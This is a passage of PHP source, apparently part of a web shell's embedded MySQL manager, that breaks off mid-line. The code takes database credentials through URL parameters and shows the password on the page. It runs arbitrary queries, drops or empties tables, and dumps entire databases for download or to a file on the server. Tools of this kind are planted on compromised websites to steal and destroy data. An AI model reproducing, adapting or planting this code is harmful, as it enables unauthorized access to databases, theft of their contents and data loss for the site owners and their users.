(!isset(\$x)) { \$x = \"sql\"; }\n if (\$x == \"sql\") {\n foreach (array(\"sort\",\"sql_sort\") as \$v) {\nif (!empty(\$_GET[\$v])) { \$\$v = \$_GET[\$v]; }\nif (!empty(\$_POST[\$v])) { \$\$v = \$_POST[\$v]; }\n }\n if (\$sort_save) {\nif (!empty(\$sort)) { setcookie(\"sort\",\$sort); }\nif (!empty(\$sql_sort)) { setcookie(\"sql_sort\",\$sql_sort); }\n }\n if (!isset(\$sort)) { \$sort = \$sort_default; }\n \$sort = htmlspecialchars(\$sort);\n \$sort[1] = strtolower(\$sort[1]);\n echo html_style();\necho \"<div id='maininfo'>\";\n if (\$x == \"sql\") {\n \$sql_surl = \$surl.\"x=sql\";\n if (!isset(\$sql_login)) { \$sql_login = \"\"; }\n if (!isset(\$sql_passwd)) { \$sql_passwd = \"\"; }\n if (!isset(\$sql_server)) { \$sql_server = \"\"; }\n if (!isset(\$sql_port)) { \$sql_port = \"\"; }\n if (!isset(\$sql_tbl)) { \$sql_tbl = \"\"; }\n if (!isset(\$sql_x)) { \$sql_x = \"\"; }\n if (!isset(\$sql_tbl_x)) { \$sql_tbl_x = \"\"; }\n if (!isset(\$sql_order)) { \$sql_order = \"\"; }\n if (!isset(\$sql_x)) { \$sql_x = \"\"; }\n if (!isset(\$sql_getfile)) { \$sql_getfile = \"\"; }\n if (@\$sql_login) { \$sql_surl .= \"&sql_login=\".htmlspecialchars(\$sql_login); }\n if (@\$sql_passwd) { \$sql_surl .= \"&sql_passwd=\".htmlspecialchars(\$sql_passwd); }\n if (@\$sql_server) { \$sql_surl .= \"&sql_server=\".htmlspecialchars(\$sql_server); }\n if (@\$sql_port){ \$sql_surl .= \"&sql_port=\".htmlspecialchars(\$sql_port); }\n if (@\$sql_db) { \$sql_surl .= \"&sql_db=\".htmlspecialchars(\$sql_db); }\n \$sql_surl .= \"&\";\n echo \"\";\n if (@\$sql_server) {\n\$sql_sock = @mysql_connect(\$sql_server.\":\".\$sql_port, \$sql_login, \$sql_passwd);\n\$err = mysql_smarterror(\$sql_sock);\n@mysql_select_db(\$sql_db,\$sql_sock);\nif (@\$sql_query and \$submit) {\n \$sql_query_result = mysql_query(\$sql_query,\$sql_sock);\n \$sql_query_error = mysql_smarterror(\$sql_sock);\n}\n }\n else { \$sql_sock = FALSE; }\n if (!\$sql_sock) {\nif (!@\$sql_server) { echo \"<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>\"; }\nelse { disp_error(\"ERROR: \".\$err); }\n }\n else {\n#SQL Quicklaunch\n\$sqlquicklaunch= array();\n\$sqlquicklaunch[] = array(\"Index\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&\");\n\$sqlquicklaunch[] = array(\"Query\",\$sql_surl.\"sql_x=query&sql_tbl=\".urlencode(\$sql_tbl));\n\$sqlquicklaunch[] = array(\"Server status\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=serverstatus\");\n\$sqlquicklaunch[] = array(\"Server variables\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=servervars\");\n\$sqlquicklaunch[] = array(\"Processes\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=processes\");\n\$sqlquicklaunch[] = array(\"Logout\",\$surl.\"x=sql\");\necho \"MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_proto_info ().\") Server: \".htmlspecialchars(\$sql_server).\":\".htmlspecialchars(\$sql_port).\" as \".htmlspecialchars(\$sql_login).\"@\".htmlspecialchars(\$sql_server).\" (password - \\\"\".htmlspecialchars(\$sql_passwd).\"\\\")<br>\";\nif (count(\$sqlquicklaunch) > 0) {\n foreach(\$sqlquicklaunch as \$item) {\necho \"[ <a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a> ] \";\n }\n }\n }\necho \"</div>\";\necho \"<center><table class='tab'><tr>\";\n if (!\$sql_sock) {\n echo '<td>\n<form name=\"f_sql\" action=\"'.\$surl.'x=sql\" method=\"POST\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<table class=\"tabnet\" style=\"padding:1px;\">\n<tr><th colspan=\"2\"><b>MySQL Manager</b></th></tr>\n<tr><td>Host</td><td><input type=\"text\" name=\"sql_server\" class=\"inputz\" style=\"width:249px;background:black\" value=\"localhost\"></td></tr>\n<tr><td>Username</td><td><input type=\"text\" name=\"sql_login\" class=\"inputz\" value=\"\" style=\"width:249px;background:black\"></td></tr>\n<tr><td>Password</td><td><input type=\"password\" name=\"sql_passwd\" class=\"inputz\" value=\"\" style=\"width:249px;background:black;\"></td></tr>\n<tr><td>Database</td><td><input type=\"text\" name=\"sql_db\" value=\"\" class=\"inputz\" style=\"width:249px;background:black\"></td></tr>\n<tr><td>Port</td><td><input type=\"text\" name=\"sql_port\" class=\"inputz\" value=\"3306\" style=\"background:black;\" size=\"6\"> <input type=\"submit\" class=\"inputzbut\" style=color:\$color value=\"Connect\"></td></tr>\n</table>\n</form>';\n }\n else {\n echo '<td valign=\"top\" style=\"border:1px solid #333333;\">\n<center>\n<a href=\"'.\$sql_surl.'\"><b style=\"color:#00ff00;\">HOME</b></a>\n<hr size=\"1\" noshade>';\n \$result = mysql_list_dbs(\$sql_sock);\n if (!\$result) { echo mysql_smarterror(); }\n else {\n echo '<form action=\"'.\$surl.'x=sql\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<input type=\"hidden\" name=\"sql_login\" value=\"'.htmlspecialchars(\$sql_login).'\">\n<input type=\"hidden\" name=\"sql_passwd\" value=\"'.htmlspecialchars(\$sql_passwd).'\">\n<input type=\"hidden\" name=\"sql_server\" value=\"'.htmlspecialchars(\$sql_server).'\">\n<input type=\"hidden\" name=\"sql_port\" value=\"'.htmlspecialchars(\$sql_port).'\">\n<select name=\"sql_db\" onchange=\"this.form.submit()\" style=\"width:100%;\">';\n\$c = 0;\n\$dbs = \"\";\nwhile (\$row = mysql_fetch_row(\$result)) {\n \$dbs .= \"\\t\\t<option value=\\\"\".\$row[0].\"\\\"\";\n if (@\$sql_db == \$row[0]) { \$dbs .= \" selected\"; }\n \$dbs .= \">\".\$row[0].\"</option>\\n\";\n \$c++;\n}\necho \"\\t\\t<option value=\\\"\\\">Databases (\".\$c.\")</option>\\n\";\necho \$dbs;\n }\necho '</select>\n<hr size=\"1\" noshade>\n</form>\n</center>';\nif (isset(\$sql_db)) {\n \$result = mysql_list_tables(\$sql_db);\n if (!\$result) { \n\$result = mysql_list_dbs(\$sql_sock);\n\$num = mysql_num_rows(\$result);\nfor( \$i = 0; \$i < \$num; \$i++ ) {\n\$dbname = mysql_dbname( \$result, \$i );\necho \"<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\\\"\".\$sql_surl.\"sql_db=\".\$dbname.\"\\\">\$dbname</a></b></td></table>\"; } }\n else {\necho \"\\t<table class='tub'><th><a href=\\\"\".\$sql_surl.\"&\\\"><b>\".htmlspecialchars(\$sql_db).\"</b></a></th></table><br>\\n\";\n\$c = 0;\nwhile (\$row = mysql_fetch_array(\$result)) {\n \$count = mysql_query (\"SELECT COUNT(*) FROM \".\$row[0]);\n \$count_row = mysql_fetch_array(\$count);\n echo \"\\t<b>+ <a style='color:#00ff00;' href=\\\"\".\$sql_surl.\"sql_db=\".htmlspecialchars(\$sql_db).\"&sql_tbl=\".htmlspecialchars(\$row[0]).\"\\\">\".htmlspecialchars(\$row[0]).\"</a></b> (\".\$count_row[0].\")</br></b>\\n\";\n mysql_free_result(\$count);\n \$c++;\n}\nif (!\$c) { echo \"No tables found in database\"; }\n }\n}\necho '</td>';\necho '<td style=\"border:1px solid #333333;\">';\n\$diplay = TRUE;\nif (@\$sql_db) {\n if (!is_numeric(\$c)) { \$c = 0; }\n if (\$c == 0) { \$c = \"no\"; }\n echo \"\\t<center><b>There are \".\$c.\" table(s) in database: \".htmlspecialchars(\$sql_db).\"\";\n if (count(@\$dbquicklaunch) > 0) {\nforeach(\$dbsqlquicklaunch as \$item) {\n echo \"[ <a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a> ] \";\n}\n }\n echo \"</b></center>\\n\";\n \$xs = array(\"\",\"dump\");\n if (\$sql_x == \"tbldrop\") {\$sql_query = \"DROP TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\n elseif (\$sql_x == \"tblempty\") {\$sql_query = \"\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"DELETE FROM `\".\$v.\"` \\n\";} \$sql_x = \"query\";}\n elseif (\$sql_x == \"tbldump\") {if (count(\$boxtbl) > 0) {\$dmptbls = \$boxtbl;} elseif(\$thistbl) {\$dmptbls = array(\$sql_tbl);} \$sql_x = \"dump\";}\n elseif (\$sql_x == \"tblcheck\") {\$sql_query = \"CHECK TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\n elseif (\$sql_x == \"tbloptimize\") {\$sql_query = \"OPTIMIZE TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\n elseif (\$sql_x == \"tblrepair\") {\$sql_query = \"REPAIR TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\n elseif (\$sql_x == \"tblanalyze\") {\$sql_query = \"ANALYZE TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\n elseif (\$sql_x == \"deleterow\") {\$sql_query = \"\"; if (!empty(\$boxrow_all)) {\$sql_query = \"DELETE * FROM `\".\$sql_tbl.\"`;\";} else {foreach(\$boxrow as \$v) {\$sql_query .= \"DELETE * FROM `\".\$sql_tbl.\"` WHERE\".\$v.\" LIMIT 1;\\n\";} \$sql_query = substr(\$sql_query,0,-1);} \$sql_x = \"query\";}\n elseif (\$sql_tbl_x == \"insert\") {\nif (\$sql_tbl_insert_radio == 1) {\n \$keys = \"\";\n \$akeys = array_keys(\$sql_tbl_insert);\n foreach (\$akeys as \$v) {\$keys .= \"`\".addslashes(\$v).\"`, \";}\n if (!empty(\$keys)) {\$keys = substr(\$keys,0,strlen(\$keys)-2);}\n \$values = \"\";\n \$i = 0;\n foreach (array_values(\$sql_tbl_insert) as \$v) {if (\$funct = \$sql_tbl_insert_functs[\$akeys[\$i]]) {\$values .= \$funct.\" (\";} \$values .= \"'\".addslashes(\$v).\"'\"; if (\$funct) {\$values .= \")\";} \$values .= \", \"; \$i++;}\n if (!empty(\$values)) {\$values = substr(\$values,0,strlen(\$values)-2);}\n \$sql_query = \"INSERT INTO `\".\$sql_tbl.\"` ( \".\$keys.\" ) VALUES ( \".\$values.\" );\";\n \$sql_x = \"query\";\n \$sql_tbl_x = \"browse\";\n}\nelseif (\$sql_tbl_insert_radio == 2) {\n \$set = mysql_buildwhere(\$sql_tbl_insert,\", \",\$sql_tbl_insert_functs);\n \$sql_query = \"UPDATE `\".\$sql_tbl.\"` SET \".\$set.\" WHERE \".\$sql_tbl_insert_q.\" LIMIT 1;\";\n \$result = mysql_query(\$sql_query) or print(mysql_smarterror());\n \$result = mysql_fetch_array(\$result, MYSQL_ASSOC);\n \$sql_x = \"query\";\n \$sql_tbl_x = \"browse\";\n}\n }\n if (\$sql_x == \"query\") {\necho \"<hr size=\\\"1\\\" noshade>\";\nif ((\$submit) and (!\$sql_query_result) and (\$sql_confirm)) {if (!\$sql_query_error) {\$sql_query_error = \"Query was empty\";} echo \"<b>Error:</b> <br>\".\$sql_query_error.\"<br>\";}\nif (\$sql_query_result or (!\$sql_confirm)) {\$sql_x = \$sql_goto;}\nif ((!\$submit) or (\$sql_x)) { echo \"<table class='tab'><tr><td><form action=\\\"\".\$sql_surl.\"\\\" method=\\\"POST\\\"><b>\"; if ((\$sql_query) and (!\$submit)) {echo \"Do you really want to:\";} else {echo \"SQL-Query :\";} echo \"</b><br><br><textarea name=\\\"sql_query\\\" cols=\\\"100\\\" rows=\\\"10\\\">\".htmlspecialchars(\$sql_query).\"</textarea><br><br><input type=\\\"hidden\\\" name=\\\"sql_x\\\" value=\\\"query\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=\\\"hidden\\\" name=\\\"submit\\\" value=\\\"1\\\"><input type=\\\"hidden\\\" name=\\\"sql_goto\\\" value=\\\"\".htmlspecialchars(\$sql_goto).\"\\\"><input type=\\\"submit\\\" name=\\\"sql_confirm\\\" value=\\\"Yes\\\"> <input type=\\\"submit\\\" value=\\\"No\\\"></form></td></tr></table>\"; }\n }\n if (in_array(\$sql_x,\$xs)) {\necho '<table class=\"tab\">\n<tr>\n<td style=\"border:1px solid #333333;padding:3px;\">\n<b>Create new table:</b>\n<form action=\"'.\$surl.'\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<input type=\"hidden\" name=\"sql_x\" value=\"newtbl\">\n<input type=\"hidden\" name=\"sql_db\" value=\"'.htmlspecialchars(\$sql_db).'\">\n<input type=\"hidden\" name=\"sql_login\" value=\"'.htmlspecialchars(\$sql_login).'\">\n<input type=\"hidden\" name=\"sql_passwd\" value=\"'.htmlspecialchars(\$sql_passwd).'\">\n<input type=\"hidden\" name=\"sql_server\" value=\"'.htmlspecialchars(\$sql_server).'\">\n<input type=\"hidden\" name=\"sql_port\" value=\"'.htmlspecialchars(\$sql_port).'\">\n<input type=\"text\" name=\"sql_newtbl\" size=\"20\">\nFields: <input type=\"text\" name=\"sql_field\" size=\"3\">\n<input class=\"inputzbut\" type=\"submit\" value=\"Create\">\n</form>\n</td>\n<td style=\"border:1px solid #333333;padding:3px;\"><b>Dump DB:</b>\n<form action=\"'.\$surl.'\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<input type=\"hidden\" name=\"sql_x\" value=\"dump\">\n<input type=\"hidden\" name=\"sql_db\" value=\"'.htmlspecialchars(\$sql_db).'\">\n<input type=\"hidden\" name=\"sql_login\" value=\"'.htmlspecialchars(\$sql_login).'\">\n<input type=\"hidden\" name=\"sql_passwd\" value=\"'.htmlspecialchars(\$sql_passwd).'\">\n<input type=\"hidden\" name=\"sql_server\" value=\"'.htmlspecialchars(\$sql_server).'\">\n<input type=\"hidden\" name=\"sql_port\" value=\"'.htmlspecialchars(\$sql_port).'\">\n<input type=\"text\" name=\"dump_file\" size=\"30\" value=\"dump_'.getenv(\"SERVER_NAME\").'_'.\$sql_db.'_'.date(\"d-m-Y-H-i-s\").'.sql\">\n<input type=\"submit\" class=\"inputzbut\" name=\"submit\" value=\"Dump\">\n</form>\n</td>\n</tr>\n</table>';\nif (!empty(\$sql_x)) { echo \"<hr size=\\\"1\\\" noshade>\"; }\nif (\$sql_x == \"newtbl\") {\n echo \"<b>\";\n if ((mysql_create_db (\$sql_newdb)) and (!empty(\$sql_newdb))) {\necho \"DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\" has been created with success!</b><br>\";\n }\n else { echo \"Can't create DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\".<br>Reason:</b> \".mysql_smarterror(); }\n}\nelseif (\$sql_x == \"dump\") {\n if (empty(\$submit)) {\n\$diplay = FALSE;\necho \"<form method=\\\"GET\\\"><input type=\\\"hidden\\\" name=\\\"x\\\" value=\\\"sql\\\"><input type=\\\"hidden\\\" name=\\\"sql_x\\\" value=\\\"dump\\\"><input type=\\\"hidden\\\" name=\\\"sql_db\\\" value=\\\"\".htmlspecialchars(\$sql_db).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_login\\\" value=\\\"\".htmlspecialchars(\$sql_login).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_passwd\\\" value=\\\"\".htmlspecialchars(\$sql_passwd).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_server\\\" value=\\\"\".htmlspecialchars(\$sql_server).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_port\\\" value=\\\"\".htmlspecialchars(\$sql_port).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><b>SQL-Dump:</b><br><br>\";\necho \"<b>DB:</b> <input type=\\\"text\\\" name=\\\"sql_db\\\" value=\\\"\".urlencode(\$sql_db).\"\\\"><br><br>\";\n\$v = join (\";\",\$dmptbls);\necho \"<b>Only tables (explode \\\";\\\") :</b> <input type=\\\"text\\\" name=\\\"dmptbls\\\" value=\\\"\".htmlspecialchars(\$v).\"\\\" size=\\\"\".(strlen(\$v)+5).\"\\\"><br><br>\";\nif (\$dump_file) {\$tmp = \$dump_file;}\nelse {\$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".\$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\");}\necho \"<b>File:</b> <input type=\\\"text\\\" name=\\\"sql_dump_file\\\" value=\\\"\".\$tmp.\"\\\" size=\\\"\".(strlen(\$tmp)+strlen(\$tmp) % 30).\"\\\"><br><br>\";\necho \"<b>Download: </b> <input type=\\\"checkbox\\\" name=\\\"sql_dump_download\\\" value=\\\"1\\\" checked><br><br>\";\necho \"<b>Save to file: </b> <input type=\\\"checkbox\\\" name=\\\"sql_dump_savetofile\\\" value=\\\"1\\\" checked>\";\necho \"<br><br><input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"Dump\\\">\";\necho \"</form>\";\n }\n else {\n\$diplay = TRUE; \$set = array(); \$set[\"sock\"] = \$sql_sock; \$set[\"db\"] = \$sql_db; \$dump_out = \"download\"; \$set[\"print\"] = 0;\n\$set[\"nl2br\"] = 0; \$set[\"\"] = 0; \$set[\"file\"] = \$dump_file; \$set[\"add_drop\"] = TRUE; \$set[\"onlytabs\"] = array();\nif (!empty(\$dmptbls)) {\$set[\"onlytabs\"] = explode(\";\",\$dmptbls);}\n\$ret = mysql_dump(\$set);\nif (\$sql_dump_download) {\n @ob_clean();\n header(\"Content-type: application/octet-stream\");\n header(\"Content-length: \".strlen(\$ret));\n header(\"Content-disposition: attachment; filename=\\\"\".basename(\$sql_dump_file).\"\\\";\");\n echo \$ret;\n exit;\n}\nelseif (\$sql_dump_savetofile) {\n \$fp = fopen(\$sql_dump_file,\"w\");\n if (!\$fp) {echo \"<b>Dump error! Can't write to \\\"\".htmlspecialchars(\$sql_dump_file).\"\\\"!\";}\n else {\nfwrite(\$fp,\$ret);\nfclose(\$fp);\necho \"<b>Dumped! Dump has been writed to \\\"\".htmlspecialchars(realpath(\$sql_dump_file)).\"\\\" (\".view_size(filesize(\$sql_dump_file)).\")</b>.\";\n }\n}\nelse {echo \"<b>Dump: nothing to do!</b>\";}\n }\n}\nif (\$diplay) {\n if (!empty(\$sql_tbl)) {\n if (empty(\$sql_tbl_x)) {\$sql_tbl_x = \"browse\";}\n \$count = mysql_query(\"SELECT COUNT(*) FROM `\".\$sql_tbl.\"`;\");\n \$count_row = mysql_fetch_array(\$count);\n mysql_free_result(\$count);\n \$tbl_struct_result = mysql_query(\"SHOW FIELDS FROM `\".\$sql_tbl.\"`;\");\n\$tbl_struct_fields = array();\nwhile (\$row = mysql_fetch_assoc(\$tbl_struct_result)) {\$tbl_struct_fields[] = \$row;}\n if (@\$sql_ls > @\$sql_le) { \$sql_le = \$sql_ls + \$perpage; }\n if (empty(\$sql_tbl_page)) { \$sql_tbl_page = 0; }\n if (empty(\$sql_tbl_ls)) { \$sql_tbl_ls = 0; }\n if (empty(\$sql_tbl_le)) { \$sql_tbl_le = 30; }\n \$perpage = \$sql_tbl_le - \$sql_tbl_ls;\n if (!is_numeric(\$perpage)) { \$perpage = 10; }\n \$numpages = \$count_row[0]/\$perpage;\n \$e = explode(\" \",\$sql_order);\n if (count(\$e) == 2) {\nif (\$e[0] == \"d\") { \$asc_desc = \"DESC\"; }\nelse { \$asc_desc = \"ASC\"; }\n\$v = \"ORDER BY `\".\$e[1].\"` \".\$asc_desc.\" \";\n }\n else {\$v = \"\";}\n \$query = \"SELECT * FROM `\".\$sql_tbl.\"` \".\$v.\"LIMIT \".\$sql_tbl_ls.\" , \".\$perpage.\"\";\n \$result = mysql_query(\$query) or print(mysql_smarterror());\n echo \"<center><b>Table \".htmlspecialchars(\$sql_tbl).\" (\".mysql_num_fields(\$result).\" cols and \".\$count_row[0].\" rows)</b></center>\";\n echo \"<hr size=\\\"1\\\" noshade>\";\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=structure\\\">[<b> Structure </b>]</a> \";\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=browse\\\">[<b> Browse </b>]</a> \";\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_x=tbldump&thistbl=1\\\">[<b> Dump </b>]</a> \";\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=insert\\\">[ <b>Insert</b> ]</a> \";\n if (\$sql_tbl_x == \"structure\") { echo \"<b>Under construction!</b>\"; }\n if (\$sql_tbl_x == \"insert\") {\nif (!is_array(\$sql_tbl_insert)) {\$sql_tbl_insert = array();}\nif (!empty(\$sql_tbl_insert_radio)) { echo \"<b>Under construction!</b>\"; }\nelse {\n echo \"<br><br><b>Inserting row into table:</b><br>\";\n if (!empty(\$sql_tbl_insert_q)) {\n\$sql_query = \"SELECT * FROM `\".\$sql_tbl.\"`\";\n\$sql_query .= \" WHERE\".\$sql_tbl_insert_q;\n\$sql_query .= \" LIMIT 1;\";\n\$result = mysql_query(\$sql_query,\$sql_sock) or print(\"<br><br>\".mysql_smarterror());\n\$values = mysql_fetch_assoc(\$result);\nmysql_free_result(\$result);\n }\n else {\$values = array();}\n echo \"<form method=\\\"POST\\\"><table width=\\\"1%\\\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>\";\n foreach (\$tbl_struct_fields as \$field) {\n\$name = \$field[\"Field\"];\nif (empty(\$sql_tbl_insert_q)) {\$v = \"\";}\necho \"<tr><td><b>\".htmlspecialchars(\$name).\"</b></td><td>\".\$field[\"Type\"].\"</td><td><select name=\\\"sql_tbl_insert_functs[\".htmlspecialchars(\$name).\"]\\\"><option value=\\\"\\\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\\\"\\\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\\\"text\\\" name=\\\"sql_tbl_insert[\".htmlspecialchars(\$name).\"]\\\" value=\\\"\".htmlspecialchars(\$values[\$name]).\"\\\" size=50></td></tr>\";\n\$i++;\n }\n echo \"</table><br>\";\n echo \"<input type=\\\"radio\\\" name=\\\"sql_tbl_insert_radio\\\" value=\\\"1\\\"\"; if (empty(\$sql_tbl_insert_q)) {echo \" checked\";} echo \"><b>Insert as new row</b>\";\n if (!empty(\$sql_tbl_insert_q)) {echo \" or <input type=\\\"radio\\\" name=\\\"sql_tbl_insert_radio\\\" value=\\\"2\\\" checked><b>Save</b>\"; echo \"<input type=\\\"hidden\\\" name=\\\"sql_tbl_insert_q\\\" value=\\\"\".htmlspecialchars(\$sql_tbl_insert_q).\"\\\">\";}\n echo \"<br><br><input class=\\\"inputzbut\\\" type=\\\"submit\\\" value=\\\"Confirm\\\"></form>\";\n}\n }\n if (\$sql_tbl_x == \"browse\") {\n\$sql_tbl_ls = abs(\$sql_tbl_ls);\n\$sql_tbl_le = abs(\$sql_tbl_le);\necho \"<hr size=\\\"1\\\" noshade>\";\necho \"<b>Page: </b>\";\n\$b = 0;\nfor(\$i=0;\$i<\$numpages;\$i++) {\n if ((\$i*\$perpage != \$sql_tbl_ls) or (\$i*\$perpage+\$perpage != \$sql_tbl_le)) {echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_order=\".htmlspecialchars(\$sql_order).\"&sql_tbl_ls=\".(\$i*\$perpage).\"&sql_tbl_le=\".(\$i*\$perpage+\$perpage).\"\\\"><u>\";}\n echo \$i;\n if ((\$i*\$perpage != \$sql_tbl_ls) or (\$i*\$perpage+\$perpage != \$sql_tbl_le)) {echo \"</u></a>\";}\n if ((\$i/30 == round(\$i/30)) and (\$i > 0)) {echo \"<br>\";}\n else { echo \" \"; }\n}\nif (\$i == 0) {echo \"empty\";}\necho \"<br><br><form method=\\\"GET\\\"><input type=\\\"hidden\\\" name=\\\"x\\\" value=\\\"sql\\\"><input type=\\\"hidden\\\" name=\\\"sql_db\\\" value=\\\"\".htmlspecialchars(\$sql_db).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_login\\\" value=\\\"\".htmlspecialchars(\$sql_login).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_passwd\\\" value=\\\"\".htmlspecialchars(\$sql_passwd).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_server\\\" value=\\\"\".htmlspecialchars(\$sql_server).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_port\\\" value=\\\"\".htmlspecialchars(\$sql_port).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_order\\\" value=\\\"\".htmlspecialchars(\$sql_order).\"\\\"><b>From:</b> <input type=\\\"text\\\" name=\\\"sql_tbl_ls\\\" value=\\\"\".\$sql_tbl_ls.\"\\\"> <b>To:</b> <input type=\\\"text\\\" name=\\\"sql_tbl_le\\\" value=\\\"\".\$sql_tbl_le.\"\\\"> <input type=\\\"submit\\\" value=\\\"View\\\"></form>\";\necho \"<br><form method=\\\"POST\\\">\\n\";\necho \"<table class='tub'><tr>\";\necho \"<th><input type=\\\"checkbox\\\" name=\\\"boxrow_all\\\" value=\\\"1\\\"></th>\";\nfor (\$i=0;\$i<mysql_num_fields(\$result);\$i++) {\n \$v = mysql_field_name(\$result,\$i);\n if (\$e[0] == \"a\") {\$s = \"d\"; \$m = \"asc\";}\n else {\$s = \"a\"; \$m = \"desc\";}\n echo \"<th>\";\n if (empty(\$e[0])) {\$e[0] = \"a\";}\n if (@\$e[1] != \$v) {echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".\$sql_tbl.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_order=\".\$e[0].\"%20\".\$v.\"\\\"><b>\".\$v.\"</b></a>\";}\n else {echo \"<b>\".\$v.\"</b><a href=\\\"\".\$sql_surl.\"sql_tbl=\".\$sql_tbl.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_order=\".\$s.\"%20\".\$v.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_\".\$m.\"\\\" alt=\\\"\".\$m.\"\\\"></a>\";}\n echo \"</th>\";\n}\necho \"<th><font color=\\\"#00FF00\\\"><b>action</b></font></th>\";\necho \"</tr>\";\nwhile (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC)) {\n echo \"<tr>\";\n \$w = \"\";\n \$i = 0;\n foreach (\$row as \$k=>\$v) {\n\$name = mysql_field_name(\$result,\$i);\n\$w .= \" `\".\$name.\"` = '\".addslashes(\$v).\"' AND\"; \$i++;\n }\n if (count(\$row) > 0) { \$w = substr(\$w,0,strlen(\$w)-3); }\n echo \"<td align='center' style='padding:0px;'><input type=\\\"checkbox\\\" name=\\\"boxrow[]\\\" value=\\\"\".\$w.\"\\\"></td>\";\n \$i = 0;\n foreach (\$row as \$k=>\$v) {\n\$v = htmlspecialchars(\$v);\nif (\$v == \"\") { \$v = \"<font color=\\\"#00FF00\\\">NULL</font>\"; }\necho \"<td>\".\$v.\"</td>\";\n\$i++;\n }\n echo \"<td>\";\n echo \"<a 